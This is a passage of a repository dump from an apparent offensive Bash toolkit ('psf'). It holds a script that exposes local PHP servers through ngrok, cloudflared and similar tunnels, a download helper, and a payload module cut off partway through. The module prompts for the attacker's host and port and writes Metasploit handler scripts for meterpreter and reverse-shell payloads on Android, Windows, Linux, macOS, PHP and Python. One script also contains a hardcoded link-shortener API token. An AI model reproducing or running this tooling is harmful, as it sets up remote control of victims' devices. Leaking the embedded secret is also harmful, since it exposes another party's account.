checkngrok=$(ps aux | grep -o "ngrok" | head -n1) 42 | checkphp=$(ps aux | grep -o "php" | head -n1) 43 | checkssh=$(ps aux | grep -o "ssh" | head -n1) 44 | if [[ $checkcloudflared == *'cloudflared'* ]]; then 45 | killall -2 cloudflared > /dev/null 2>&1 46 | fi 47 | if [[ $checkngrok == *'ngrok'* ]]; then 48 | pkill -f -2 ngrok > /dev/null 2>&1 49 | killall -2 ngrok > /dev/null 2>&1 50 | fi 51 | if [[ $checkphp == *'php'* ]]; then 52 | killall -2 php > /dev/null 2>&1 53 | fi 54 | if [[ $checkssh == *'ssh'* ]]; then 55 | killall -2 ssh > /dev/null 2>&1 56 | fi 57 | 58 | if [[ `pidof php` ]]; then 59 | killall php > /dev/null 2>&1 60 | fi 61 | if [[ `pidof ngrok` ]]; then 62 | killall ngrok > /dev/null 2>&1 63 | fi 64 | if [[ `pidof cloudflared` ]]; then 65 | killall cloudflared > /dev/null 2>&1 66 | fi 67 | } 68 | 69 | ngrok-server() 70 | { 71 | if [[ $OS == *'Android'* ]];then 72 | ./ngrok http ${port} > /dev/null 2>&1 & 73 | else 74 | sudo ./ngrok http ${port} > /dev/null 2>&1 & 75 | fi 76 | 77 | http_ngrok() { 78 | link=$(curl -s -N http://127.0.0.1:4040/api/tunnels | grep -o "https://[-0-9a-z]*\.ngrok.io") 79 | } 80 | sleep 0 81 | CLR 82 | 83 | net_check 84 | http_ngrok 85 | 86 | if [[ -z $link ]];then 87 | printf "$link" &> /dev/null 88 | progress-bar "__wait__ 10" "0.0350" "prog:1" "Starting Server at http Port : (${port})..." -r 89 | printf "${b0SIGN} Started Server at http Port : (${port})..." 90 | http_ngrok 91 | printf "$link" &> /dev/null 92 | fi 93 | if [[ -z $link ]];then 94 | CLR 95 | printf "\e[94m(\e[0m>\e[94m)\e[0m Ngrok error, debug: ./ngrok http (8080)...\e[0m\n" 96 | stop &> /dev/null 97 | exit 1 98 | fi 99 | } 100 | 101 | cloudflare-server() 102 | { 103 | 104 | if [[ -f ".cflare.log" ]] 105 | then 106 | rm .cflare.log &> /dev/null 107 | fi 108 | 109 | #php -S localhost:8080 > /dev/null 2>&1 & 110 | 111 | if [[ $OS == *'Android'* ]];then 112 | ./cloudflared tunnel -url 127.0.0.1:${port} --logfile .cflare.log > /dev/null 2>&1 & 113 | else 114 | ./cloudflared tunnel -url 127.0.0.1:${port} --logfile .cflare.log > /dev/null 2>&1 & 115 | fi 116 | 117 | http_cloudflared() { 118 | link=$(grep -o 'https://[-0-9a-z]*\.trycloudflare.com' ".cflare.log") 119 | } 120 | sleep 0 121 | CLR 122 | 123 | net_check 124 | sleep 1 125 | http_cloudflared &> /dev/null 126 | 127 | if [[ -z $link ]];then 128 | printf "$link" &> /dev/null 129 | progress-bar "__wait__ 5" "0" "prog:4" "Starting Server at http Port : (${port})..." -r 130 | printf "${b0SIGN} Started Server at http Port : (${port})..." 131 | http_cloudflared &> /dev/null 132 | printf "$link" &> /dev/null 133 | fi 134 | if [[ -z $link ]];then 135 | CLR 136 | printf "\e[94m(\e[0m>\e[94m)\e[0m cloudflared error, debug: ./cloudflared http (${port})...\e[0m\n" 137 | stop &> /dev/null 138 | exit 1 139 | fi 140 | } 141 | 142 | remote-moe-server() 143 | { 144 | remote_moe_service=$(ps aux | grep "remote.moe" | awk NR==1 | awk '{print $14}') 145 | if [[ ${remote_moe_service} == "nokey@remote.moe" ]] 146 | then 147 | link=0 148 | progress-bar "__wait__ 3" "0" "prog:4" "Starting Server at http Port : (${port})..." -r 149 | printf "${b0SIGN} Started Server at http Port : (${port})..." 150 | else 151 | stop &> /dev/null 152 | tmux new-session -d 153 | tmux send-keys "ssh -R 80:localhost:${port} nokey@remote.moe" Enter 154 | if [[ $OS == "Android" ]] 155 | then 156 | tmux split-window -v 157 | else 158 | tmux split-window -h 159 | fi 160 | pre_cmd=$(cat $OUTPUT | wc -l) 161 | pre_cmd=$(cat $OUTPUT | awk NR==${pre_cmd}) 162 | tmux send-keys "psfconsole module=${pre_cmd#use :} command=${input} remote.moe" Enter 163 | tmux attach 164 | fi 165 | } 166 | 167 | localtunnel-server() 168 | { 169 | if [[ $OS == "Android" ]] 170 | then 171 | if ! hash proot-distro 172 | then 173 | apt install proot-distro -y 174 | fi 175 | if [[ $(proot-distro login debian -- echo &> /dev/null || echo $?) == 1 ]] 176 | then 177 | proot-distro install debian 178 | #proot-distro login debian -- apt update 179 | #proot-distro login debain -- apt install nodejs -y 180 | proot-distro login debian -- npm install -g localtunnel 181 | fi 182 | else 183 | sudo npm install -g localtunnel 184 | fi 185 | 186 | if [[ $OS == "Android" ]] 187 | then 188 | localtunnel_service=$(ps aux | grep "proot-distro" | awk NR==1 | awk '{print $11}') 189 | else 190 | localtunnel_service=$(ps aux | grep "lt" | awk NR==1 | awk '{print $13}') 191 | fi 192 | if [[ ${localtunnel_service} == "proot" ]] || [[ ${localtunnel_service} == "--port" ]] 193 | then 194 | link=0 195 | progress-bar "__wait__ 3" "0" "prog:4" "Starting Server at http Port : (${port})..." -r 196 | printf "${b0SIGN} Started Server at http Port : (${port})..." 197 | else 198 | stop &> /dev/null 199 | tmux new-session -d 200 | tmux send-keys "proot-distro login debian -- lt --port ${port}" Enter 201 | tmux split-window -v 202 | pre_cmd=$(cat $OUTPUT | wc -l) 203 | pre_cmd=$(cat $OUTPUT | awk NR==${pre_cmd}) 204 | tmux send-keys "psfconsole module=${pre_cmd#use :} command=${input} localtunnel" Enter 205 | tmux attach 206 | fi 207 | } 208 | 209 | 210 | 211 | get_input() 212 | { 213 | if [[ ${PSF_ARG3} == "localtunnel" ]] 214 | then 215 | echo 216 | _input=4 217 | elif [[ ${PSF_ARG3} == "remote.moe" ]] 218 | then 219 | _input=5 220 | else 221 | printf "\n${C2}(${R0}1${C2})${R0} Localhost (Only Devs)\n" 222 | printf "${C2}(${R0}2${C2})${R0} Ngrok\n" 223 | printf "${C2}(${R0}3${C2})${R0} Cloudflare\n" 224 | printf "${C2}(${R0}4${C2})${R0} Localtunnel\n" 225 | printf "${C2}(${R0}5${C2})${R0} remote.moe\n" 226 | printf "${C2}(${R0}?${C2})${R0} Choose a Option : " 227 | read _input 228 | fi 229 | 230 | if [[ ${#_input} -lt 1 ]] 231 | then 232 | printf "${r0SIGN} Wrong option.\n" 233 | exit 1 234 | fi 235 | 236 | if [[ -f $TMPDIR/psf.port ]] 237 | then 238 | pre_port=$(cat $TMPDIR/psf.port) 239 | fi 240 | 241 | if [[ ! ${#pre_port} -gt 0 ]] 242 | then 243 | printf "\n${C4}(${R0}>${C4})${R0} Choose port between 1024-65535 [default: 8080] : " 244 | read ifport 245 | 246 | if [[ ${ifport} =~ ^-?[0-9]*[.,]?[0-9]*[eE]?-?[0-9]+$ ]] 247 | then 248 | if [[ ${ifport} -ge 1024 ]] && [[ ${ifport} -le 65535 ]] 249 | then 250 | port=$ifport 251 | php -S localhost:${port} > /dev/null 2>&1 & 252 | cd $SCRIPT_PATH 253 | else 254 | port=8080 255 | php -S localhost:${port} > /dev/null 2>&1 & 256 | cd $SCRIPT_PATH 257 | fi 258 | else 259 | port=8080 260 | php -S localhost:${port} > /dev/null 2>&1 & 261 | cd $SCRIPT_PATH 262 | fi 263 | else 264 | port=$pre_port 265 | php -S localhost:${port} > /dev/null 2>&1 & 266 | cd $SCRIPT_PATH 267 | fi 268 | 269 | if [[ ! ${pre_port} -gt 0 ]] 270 | then 271 | echo "${port}" > $TMPDIR/psf.port 272 | else 273 | rm $TMPDIR/psf.port &> /dev/null 274 | fi 275 | 276 | if [[ $_input == "1" ]] 277 | then 278 | stop &> /dev/null 279 | # php -S localhost:8080 > /dev/null 2>&1 & 280 | link="http://127.0.0.1:${port}" 281 | elif [[ $_input == "2" ]] 282 | then 283 | stop &> /dev/null 284 | ngrok-server 285 | elif [[ $_input == "3" ]] 286 | then 287 | stop &> /dev/null 288 | cloudflare-server 289 | elif [[ $_input == "4" ]] 290 | then 291 | skipURL=yes 292 | localtunnel-server 293 | elif [[ $_input == "5" ]] 294 | then 295 | skipURL=yes 296 | remote-moe-server 297 | fi 298 | 299 | CLR 300 | if [[ ${skipURL} == "yes" ]] 301 | then 302 | printf "\e[94m(\e[0m>\e[94m)\e[0m Your https link on other tab.\e[0m\n" 303 | else 304 | short=$(curl --request POST -s \ 305 | "https://t.ly/api/v1/link/shorten?api_token=N2WCgDuwLZJ9HdXkYcSW0cN5jQUN6mCvMnjk7C7xof98YRzk2CJ8PWSbLhSy" \ 306 | --header "Content-Type: application/json" \ 307 | --header "Accept: application/json" \ 308 | --data "{ 309 | \"long_url\": \"${link}\", 310 | \"domain\": \"https://t.ly/\", 311 | \"include_qr_code\": false 312 | }" | jq .short_url -r) 313 | shorter=${short#https://} 314 | 315 | printf "\e[94m(\e[0m>\e[94m)\e[0m Your https link : \e[4m${link}\e[0m\n" 316 | fi 317 | } 318 | -------------------------------------------------------------------------------- /assets/programs/download.psf: -------------------------------------------------------------------------------- 1 | #!/usr/bin/bash 2 | 3 | # Program Under MIT License. 4 | # https://github.com/ankushbhagats/download.sh 5 | 6 | A1="\e[1;38;2;0;200;118m" 7 | A2="\e[0;38;2;220;255;255m" 8 | R0="\e[0m" 9 | 10 | SPEED=0 11 | 12 | blank() 13 | { 14 | printf "\r " 15 | printf " \r" 16 | } 17 | 18 | ARG1=$1 19 | ARG2=$2 20 | ARG3=$3 21 | ARG4=$4 22 | 23 | if [[ $(uname -o) == *"Android"* ]] 24 | then 25 | PRFIX=$PREFIX 26 | else 27 | PRFIX=/ 28 | TMPDIR=/tmp 29 | fi 30 | 31 | PROG() { 32 | printf "$TEXT ${A2}━━━━━━━━━━━━━━━━━━━━━━━━━${R0} \r" 33 | sleep 0.03 34 | printf "$TEXT ${A1}━${A2}━━━━━━━━━━━━━━━━━━━━━━━━${R0} \r" 35 | sleep 0.03 36 | printf "$TEXT ${A1}━━${A2}━━━━━━━━━━━━━━━━━━━━━━━${R0} \r" 37 | sleep 0.03 38 | printf "$TEXT ${A1}━━━${A2}━━━━━━━━━━━━━━━━━━━━━━${R0} \r" 39 | sleep 0.03 40 | printf "$TEXT ${A1}━━━━${A2}━━━━━━━━━━━━━━━━━━━━━${R0} \r" 41 | sleep 0.03 42 | printf "$TEXT ${A1}━━━━━${A2}━━━━━━━━━━━━━━━━━━━━${R0} \r" 43 | sleep 0.03 44 | printf "$TEXT ${A1}━━━━━━${A2}━━━━━━━━━━━━━━━━━━━${R0} \r" 45 | sleep 0.03 46 | printf "$TEXT ${A1}━━━━━━━${A2}━━━━━━━━━━━━━━━━━━${R0} \r" 47 | sleep 0.03 48 | printf "$TEXT ${A1}━━━━━━━━${A2}━━━━━━━━━━━━━━━━━${R0} \r" 49 | sleep 0.03 50 | printf "$TEXT ${A2}━${A1}━━━━━━━━${A2}━━━━━━━━━━━━━━━━${R0} \r" 51 | sleep 0.03 52 | printf "$TEXT ${A2}━━${A1}━━━━━━━━${A2}━━━━━━━━━━━━━━━${R0} \r" 53 | sleep 0.03 54 | printf "$TEXT ${A2}━━━${A1}━━━━━━━━${A2}━━━━━━━━━━━━━━${R0} \r" 55 | sleep 0.03 56 | printf "$TEXT ${A2}━━━━${A1}━━━━━━━━${A2}━━━━━━━━━━━━━${R0} \r" 57 | sleep 0.03 58 | printf "$TEXT ${A2}━━━━━${A1}━━━━━━━━${A2}━━━━━━━━━━━━${R0} \r" 59 | sleep 0.03 60 | printf "$TEXT ${A2}━━━━━━${A1}━━━━━━━━${A2}━━━━━━━━━━━${R0} \r" 61 | sleep 0.03 62 | printf "$TEXT ${A2}━━━━━━━${A1}━━━━━━━━${A2}━━━━━━━━━━${R0} \r" 63 | sleep 0.03 64 | printf "$TEXT ${A2}━━━━━━━━${A1}━━━━━━━━${A2}━━━━━━━━━${R0} \r" 65 | sleep 0.03 66 | printf "$TEXT ${A2}━━━━━━━━━${A1}━━━━━━━━${A2}━━━━━━━━${R0} \r" 67 | sleep 0.03 68 | printf "$TEXT ${A2}━━━━━━━━━━${A1}━━━━━━━━${A2}━━━━━━━${R0} \r" 69 | sleep 0.03 70 | printf "$TEXT ${A2}━━━━━━━━━━━${A1}━━━━━━━━${A2}━━━━━━${R0} \r" 71 | sleep 0.03 72 | printf "$TEXT ${A2}━━━━━━━━━━━━${A1}━━━━━━━━${A2}━━━━━${R0} \r" 73 | sleep 0.03 74 | printf "$TEXT ${A2}━━━━━━━━━━━━━${A1}━━━━━━━━${A2}━━━━${R0} \r" 75 | sleep 0.03 76 | printf "$TEXT ${A2}━━━━━━━━━━━━━━${A1}━━━━━━━━${A2}━━━${R0} \r" 77 | sleep 0.03 78 | printf "$TEXT ${A2}━━━━━━━━━━━━━━━${A1}━━━━━━━━${A2}━━${R0} \r" 79 | sleep 0.03 80 | printf "$TEXT ${A2}━━━━━━━━━━━━━━━━${A1}━━━━━━━━${A2}━${R0} \r" 81 | sleep 0.03 82 | printf "$TEXT ${A2}━━━━━━━━━━━━━━━━━${A1}━━━━━━━━${A2}${R0} \r" 83 | sleep 0.03 84 | printf "$TEXT ${A2}━━━━━━━━━━━━━━━━━━${A1}━━━━━━━${R0} \r" 85 | sleep 0.03 86 | printf "$TEXT ${A2}━━━━━━━━━━━━━━━━━━━${A1}━━━━━━${R0} \r" 87 | sleep 0.03 88 | printf "$TEXT ${A2}━━━━━━━━━━━━━━━━━━━━${A1}━━━━━${R0} \r" 89 | sleep 0.03 90 | printf "$TEXT ${A2}━━━━━━━━━━━━━━━━━━━━━${A1}━━━━${R0} \r" 91 | sleep 0.03 92 | printf "$TEXT ${A2}━━━━━━━━━━━━━━━━━━━━━━${A1}━━━${R0} \r" 93 | sleep 0.03 94 | printf "$TEXT ${A2}━━━━━━━━━━━━━━━━━━━━━━━${A1}━━${R0} \r" 95 | sleep 0.03 96 | printf "$TEXT ${A2}━━━━━━━━━━━━━━━━━━━━━━━━${A1}━${R0} \r" 97 | sleep 0.03 98 | printf "$TEXT ${A2}━━━━━━━━━━━━━━━━━━━━━━━━━${A1}${R0} \r" 99 | sleep 0.03 100 | } 101 | 102 | spinner() { 103 | local pid=$! 104 | #local delay=0 105 | 106 | while [ "$(ps a | awk '{print $1}' | grep $pid)" ]; do 107 | for progressbar in PROG 108 | do 109 | ${progressbar[@]} #printf $((progressbar)) 110 | # sleep $delay 111 | done 112 | done 113 | #printf "Complete ...! \n" 114 | } 115 | 116 | 117 | CURRENT_DIR=$(pwd) 118 | 119 | force_stop() 120 | { 121 | 122 | TTY=$(tty | cut -c 6-) 123 | CURRENT_PS=$(echo $$) 124 | 125 | declare -a psKills=( 126 | $(ps aux | grep $TTY | grep curl | grep -v $CURRENT_PS | grep -v PID | awk '{print $2}' | xargs -n1) 127 | ) 128 | 129 | PS_NUM=${#psKill[@]} 130 | 131 | for m in "${psKills[@]}" 132 | do 133 | N_LOOP=$((${N_LOOP:-0}+1)) 134 | PS_CODE=${m::$((${#m}))} 135 | kill $PS_CODE &> /dev/null 136 | ((n_NUM++)) 137 | done 138 | } 139 | 140 | # interrupter 141 | exit_on_signal_SIGINT () { 142 | echo 143 | force_stop 144 | exit 0 145 | } 146 | 147 | exit_on_signal_SIGTSTP () { 148 | echo 149 | force_stop 150 | exit 0 151 | } 152 | 153 | trap exit_on_signal_SIGINT SIGINT 154 | trap exit_on_signal_SIGTSTP SIGTSTP 155 | 156 | rand() 157 | { 158 | cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w ${1:-} | head -n 1 159 | } 160 | 161 | function main() 162 | { 163 | function ProgressBar { 164 | # Process data 165 | let _progress=(${1}*100/${2}*100)/100 166 | let _done=(${_progress}*3)/10 167 | let _left=30-$_done 168 | # Build progressbar string lengths 169 | _fill=$(printf "%${_done}s") 170 | _empty=$(printf "%${_left}s") 171 | 172 | # 1.2 Build progressbar strings and print the ProgressBar line 173 | # 1.2.1 Output example: 174 | # 1.2.1.1 Progress : [########################################] 100% 175 | 176 | if [[ $START_SIZE -lt 20 ]] 177 | then 178 | C0=$"\e[1;91m" 179 | elif [[ $START_SIZE -lt 70 ]] 180 | then 181 | C0=$'\e[1;93m' 182 | elif [[ $START_SIZE -ge 70 ]] 183 | then 184 | C0=$'\e[1;92m' 185 | fi 186 | 187 | R0=$'\e[0m' 188 | 189 | sleep 1 | printf "\r$PR_SIZE/$FILE_SIZE MiB ${SP}: ${_fill// /${C0}━${R0}}${_empty// /━} : [${_progress}/100%%] " 190 | } 191 | 192 | 193 | printf "\r " 194 | printf " \r" 195 | printf "\r[Retrieving information ...]" 196 | connection() 197 | { 198 | curl -sI 1.1.1.1 &> /dev/null 199 | } 200 | 201 | 202 | if (! connection == 0) 203 | then 204 | printf "\r[ERR_INTERNET_DISCONNECTED] 205 | Couldn't connect to server\n" 206 | exit 207 | else 208 | : 209 | fi 210 | 211 | START_SIZE=1 212 | 213 | END_SIZE=$(wget --spider $URL 2>&1 | grep Length | awk '{print $2}') 214 | FILE_SIZE=$(echo "scale=1; $END_SIZE / 1024 / 1024" | bc) 215 | 216 | GETFILENAME() 217 | { 218 | RAND=$(rand 10) 219 | mkdir -p $TMPDIR/.${RAND} 220 | #cd ${TMPDIR}/.${RAND} 221 | LOC=$(ls ${TMPDIR}/.${RAND}) 222 | FILE="${TMPDIR}/.${RAND}" 223 | cd $FILE 224 | 225 | curl -sO $URL & \ 226 | while : 227 | do 228 | LOC=$(ls ${TMPDIR}/.${RAND}) 229 | if [[ ${#LOC} -gt 0 ]] 230 | then 231 | FILE_NAME=$LOC 232 | force_stop 233 | # rm ${FILE}/$LOC 234 | break 235 | fi 236 | done 237 | } 238 | 239 | GETFILENAME 240 | printf "\r" 241 | 242 | if [[ ${ARG3} == "-o" ]] 243 | then 244 | CURRENT_DIR="${ARG4}" 245 | cd ${CURRENT_DIR} 246 | touch ${CURRENT_DIR}/${FILE_NAME} 247 | else 248 | cd ${CURRENT_DIR} 249 | touch ${CURRENT_DIR}/${FILE_NAME} 250 | fi 251 | 252 | START_DOWNLOAD() 253 | { 254 | if [[ ! -f ${CURRENT_DIR}/${FILE_NAME} ]] 255 | then 256 | touch ${CURRENT_DIR}/${FILE_NAME} 257 | else 258 | echo > $CURRENT_DIR/$FILE_NAME 259 | fi 260 | 261 | if [[ -f $TMPDIR/checksum.download ]] 262 | then 263 | rm $TMPDIR/checksum.download 264 | fi 265 | 266 | curl -sLO $1 | md5sum | awk '{print $1}' > $TMPDIR/checksum.download 267 | 268 | #CURRENT_DOWNLOAD=$(ps aux | grep "curl -sLO ${URL}" | awk '{print $2}') 269 | #echo "${CURRENT_DOWNLOAD}" > $TMPDIR/download.pid 270 | } 271 | 272 | echo -e "Downloading \e[92m${ARG1}\e[0m in process : [$FILE_NAME]" 273 | 274 | PROGRESS() 275 | { 276 | while [[ $START_SIZE -le 100 ]] 277 | do 278 | CR_SIZE=$(du -b ${CURRENT_DIR}/${FILE_NAME} | awk '{print $1}') 279 | ProgressBar ${START_SIZE} 100 280 | CR_SIZE1=$(du -b ${CURRENT_DIR}/${FILE_NAME} | awk '{print $1}') 281 | SPEED=$((CR_SIZE1 - CR_SIZE)) 282 | SPEED=$((SPEED /1024)) 283 | if [[ $SPEED -gt "1024" ]] 284 | then 285 | SPEED=$((SPEED /1024)) 286 | SP="${SPEED} MiB/s " 287 | else 288 | SP="${SPEED} KiB/s " 289 | fi 290 | PR_SIZE=$(echo "scale=1; $CR_SIZE / 1024 / 1024" | bc) 291 | START_SIZE=$((100*CR_SIZE/END_SIZE)) 292 | # if [[ $END_SIZE == 99 ]] 293 | # then 294 | # SP="" 295 | # fi 296 | 297 | if [[ $END_SIZE == $CR_SIZE ]] 298 | then 299 | SP="" 300 | blank 301 | ProgressBar ${START_SIZE} 100 302 | echo 303 | force_stop 304 | break 305 | fi 306 | done 307 | } 308 | 309 | if [[ $FILE_SIZE == "0" ]] 310 | then 311 | START_DOWNLOAD $URL & \ 312 | FILE_SIZE=\? 313 | while true 314 | do 315 | # CURRENT_DOWNLOAD=$(ps aux | grep "curl -sLO ") 316 | # CURRENT_DOWNLOAD=$(echo ${CURRENT_DOWNLOAD} | grep "${URL}" || echo 6) 317 | CR_SIZE=$(du -b ${CURRENT_DIR}/${FILE_NAME} | awk '{print $1}') 318 | PR_SIZE=$(echo "scale=1; $CR_SIZE / 1024 / 1024" | bc) 319 | if [[ $SPEED == 0 ]] 320 | then 321 | TEXT="${PR_SIZE}/\? MiB 0 KiB/s" 322 | (sleep 1) &> /dev/null & spinner 323 | else 324 | (sleep 1) &> /dev/null & spinner 325 | fi 326 | 327 | ONLINE_CHECKSUM=$(cat $TMPDIR/checksum.download) 328 | 329 | CR_SIZE1=$(du -b ${CURRENT_DIR}/${FILE_NAME} | awk '{print $1}') 330 | PR_SIZE1=$(echo "scale=1; $CR_SIZE1 / 1024 / 1024" | bc) 331 | SPEED=$((CR_SIZE1 - CR_SIZE)) 332 | SPEED=$((SPEED /1024)) 333 | if [[ $SPEED -gt "1024" ]] 334 | then 335 | SPEED=$((SPEED /1024)) 336 | TEXT="${PR_SIZE1}/\? MiB ${SPEED} MiB/s" 337 | else 338 | TEXT="${PR_SIZE1}/\? MiB ${SPEED} KiB/s" 339 | fi #& (START_DOWNLOAD $URL) &> /dev/null & spinner 340 | 341 | if [[ ${#ONLINE_CHECKSUM} -gt 0 ]] && [[ ! ${CR_SIZE} -le 1 ]] && [[ ${SPEED} == 0 ]] 342 | then 343 | blank 344 | echo -e "${PR_SIZE}/${PR_SIZE1} MiB ${A1}━━━━━━━━━━━━━━━━━━━━━━━━━${R0}" 345 | echo -e "Download finished." 346 | break 347 | fi 348 | done 349 | else 350 | START_DOWNLOAD $URL | PROGRESS 351 | fi 352 | 353 | } 354 | 355 | if [[ ${#ARG2} -gt 0 ]] 356 | then 357 | URL=$2 358 | if [[ ${URL} == "http"* ]] 359 | then 360 | main 361 | fi 362 | fi 363 | -------------------------------------------------------------------------------- /programs/REMOTE/PAYLOAD/payload: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | set +x 4 | 5 | # Colors 6 | 7 | C0="$(printf '\033[90m')" 8 | C1="$(printf '\033[91m')" 9 | C2="$(printf '\033[92m')" 10 | C3="$(printf '\033[93m')" 11 | C4="$(printf '\033[1;94m')" 12 | R0="$(printf '\033[00m')" 13 | R1="$(printf '\033[01m')" 14 | R3="$(printf '\033[03m')" 15 | R4="$(printf '\033[04m')" 16 | 17 | # Sign 18 | 19 | r0SIGN="${C1}(${R0}>${C1})${R0}" 20 | r1SIGN="${C1}(${R0}!${C1})${R0}" 21 | 22 | g0SIGN="${C2}(${R0}>${C2})${R0}" 23 | g1SIGN="${C2}(${R0}!${C2})${R0}" 24 | 25 | b0SIGN="${C4}(${R0}>${C4})${R0}" 26 | b1SIGN="${C4}(${R0}!${C4})${R0}" 27 | 28 | 29 | if ! hash msfconsole msfvenom &> /dev/null 30 | then 31 | printf "${C1}\e[1mE:${R0} Unable to run payload module right now Cause :\n" 32 | printf "${C1}\e[1mE:${R0} Metasploit was not Installed yet (psfconsole)\n" 33 | exit 1 34 | fi 35 | 36 | 37 | input=$input 38 | 39 | rstring() 40 | { 41 | cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w ${1:-32} | head -n 1 42 | } 43 | 44 | help() { 45 | echo -e "\nNote: This is the IP address of the attacker (You) 46 | \e[4mpsf\e[0m set (\e[91mpayload/lhost\e[0m) > set lhost \e[94m127.0.0.1\e[0m \e[1m─────┐ 47 | \e[0m\e[4mmsf\e[0m > set lhost \e[7;94m127.0.0.1\e[0m \e[1m◂────────────────────────┘\e[0m\n" 48 | 49 | echo -e "Note: This is the port to communicate back to the attacker. 50 | \e[4mpsf\e[0m set (\e[91mpayload/lport\e[0m) > set lport \e[94m4444\e[0m \e[1m─────┐ 51 | \e[0m\e[4mmsf\e[0m > set lport \e[7;94m4444\e[0m \e[1m◂────────────────────────┘\e[0m\n" 52 | 53 | echo -e "Note: This is the port to communicate back to the attacker, 54 | but it little different if you have forwarding port then use it. 55 | otherwise leave it blank. 56 | \e[4mpsf\e[0m set (\e[91mpayload/fport\e[0m) > set fport \e[94m4444\e[0m \e[1m─────┐ 57 | \e[0m\e[4mmsf\e[0m > set lport \e[7;94m4444\e[0m \e[1m◂────────────────────────┘\e[0m\n" 58 | } 59 | 60 | CHOOSE() { 61 | if [[ $input == [1/2] ]] 62 | then 63 | NDIR=$(printf "android.payload.$(rstring 10).apk") 64 | elif [[ $input == "3" ]] 65 | then 66 | DIR=$(printf "windows.payload.$(rstring 10).exe") 67 | elif [[ $input == [4/5] ]] 68 | then 69 | NDIR=$(printf "linux.payload.$(rstring 10)") 70 | elif [[ $input == [6/7] ]] 71 | then 72 | NDIR=$(printf "mac.payload.$(rstring 10).bin") 73 | elif [[ $input == "8" ]] 74 | then 75 | NDIR=$(printf "php.payload.$(rstring 10).php") 76 | elif [[ $input == "9" ]] 77 | then 78 | NDIR=$(printf "python.payload.$(rstring 10).py") 79 | fi 80 | } 81 | 82 | CHOOSE 83 | 84 | if [[ $input == "10" ]] 85 | then 86 | if [[ -f "resource" ]] 87 | then 88 | printf "${g0SIGN} Starting msfconsole listener ...\r" 89 | msfconsole -q -r resource 90 | else 91 | echo "${r1SIGN} No last created payload found." 92 | exit 1 93 | fi 94 | fi 95 | 96 | 97 | while true 98 | do 99 | printf "${R4}psf${R0} set (${C1}payload/lhost${R0}) > " 100 | read lhost 101 | cmd="$lhost" 102 | 103 | if [[ ${lhost} == "set lhost"* ]] 104 | then 105 | lhost="${lhost#set lhost }" 106 | echo -e "${g0SIGN} You set it local host to ${lhost}" 107 | break 108 | 109 | elif [[ ${lhost} == "help" || ${lhost} == "?" ]] 110 | then 111 | help 112 | 113 | else 114 | if [ ${#cmd} -gt 0 ] 115 | then 116 | echo "${r0SIGN} Unsatisfied command ‘${cmd}’ :: execute '?'/'help'" 117 | fi 118 | fi 119 | done 120 | 121 | while true 122 | do 123 | printf "${R4}psf${R0} set (${C1}payload/lport${R0}) > " 124 | read lport 125 | cmd="$lport" 126 | 127 | if [[ ${lport} == "set lport"* ]] 128 | then 129 | lport="${lport#set lport }" 130 | echo -e "${g0SIGN} You set it local port to ${lport}" 131 | break 132 | 133 | elif [[ ${lport} == "help" || ${lport} == "?" ]] 134 | then 135 | help 136 | 137 | else 138 | if [ ${#cmd} -gt 0 ] 139 | then 140 | echo "${r0SIGN} Unsatisfied command ‘${cmd}’ :: execute '?'/'help'" 141 | fi 142 | fi 143 | done 144 | 145 | while true 146 | do 147 | printf "${R4}psf${R0} set (${C1}payload/fport${R0}) > " 148 | read fport 149 | cmd="$fport" 150 | 151 | if [[ ${fport} == "set fport"* ]] 152 | then 153 | fport="${fport#set fport }" 154 | echo -e "${g0SIGN} You set it forwarding port to ${fport}" 155 | break 156 | 157 | elif [[ ${#fport} -lt 1 ]] 158 | then 159 | fport=$lport 160 | echo -e "${g0SIGN} You leave it blank we set port to lport ${lport}" 161 | break 162 | 163 | elif [[ ${fport} == "help" || ${fport} == "?" ]] 164 | then 165 | help 166 | 167 | else 168 | if [ ${#cmd} -gt 0 ] 169 | then 170 | echo "${r0SIGN} Unsatisfied command ‘${cmd}’ :: execute '?'/'help'" 171 | fi 172 | fi 173 | done 174 | 175 | android_tcp=$( 176 | printf " 177 | use exploit/multi/handler 178 | set payload android/meterpreter/reverse_tcp 179 | set lhost $lhost 180 | set lport $lport 181 | exploit" 182 | ) 183 | 184 | windows_tcp=$( 185 | printf "use exploit/multi/handler 186 | set payload windows/meterpreter/reverse_tcp 187 | set lhost $lhost 188 | set lport $lport 189 | exploit" 190 | ) 191 | 192 | linux_x86_tcp=$( 193 | printf "use exploit/multi/handler 194 | set payload linux/x86/meterpreter/reverse_tcp 195 | set lhost $lhost 196 | set lport $lport 197 | exploit" 198 | ) 199 | 200 | linux_x64_tcp=$( 201 | printf "use exploit/multi/handler 202 | set payload linux/x64/meterpreter/reverse_tcp 203 | set lhost $lhost 204 | set lport $lport 205 | exploit" 206 | ) 207 | 208 | mac_x86_tcp=$( 209 | printf "use exploit/multi/handler 210 | set payload osx/x86/shell_reverse_tcp 211 | set lhost $lhost 212 | set lport $lport 213 | exploit" 214 | ) 215 | 216 | mac_x64_tcp=$( 217 | printf "use exploit/multi/handler 218 | set payload osx/x64/shell_reverse_tcp 219 | set lhost $lhost 220 | set lport $lport 221 | exploit" 222 | ) 223 | 224 | php_tcp=$( 225 | printf "use exploit/multi/handler 226 | set payload python/meterpreter/reverse_tcp 227 | set lhost $lhost 228 | set lport $lport 229 | exploit" 230 | ) 231 | 232 | python_tcp=$( 233 | printf "use exploit/multi/handler 234 | set payload python/meterpreter/reverse_tcp 235 | set lhost $lhost 236 | set lport $lport 237 | exploit" 238 | ) 239 | 240 | listenerASK() { 241 | echo -e "$b0SIGN Want to start msfconsole listener just type : start" 242 | printf "${R4}psf${R0} use (${C1}payload/listener${R0}) > " 243 | read a1 244 | if [[ $a1 == "start" ]] 245 | then 246 | : 247 | else 248 | input=back 249 | fi 250 | } 251 | 252 | meterpreter() { 253 | cat <<- CONF > resource 254 | $1 255 | CONF 256 | 257 | printf "${g0SIGN} Starting msfconsole listener ...\r" 258 | msfconsole -q -r resource 259 | } 260 | 261 | sleeptime() { 262 | sleep 0.03 263 | } 264 | 265 | progress() { 266 | sleeptime 267 | printf "${C0}————————————————————————${R0} \r" 268 | sleeptime 269 | printf "${C4}—${C0}———————————————————————${R0} \r" 270 | sleeptime 271 | printf "${C4}——${C0}——————————————————————${R0} \r" 272 | sleeptime 273 | printf "${C4}———${C0}—————————————————————${R0} \r" 274 | sleeptime 275 | printf "${C4}————${C0}————————————————————${R0} \r" 276 | sleeptime 277 | printf 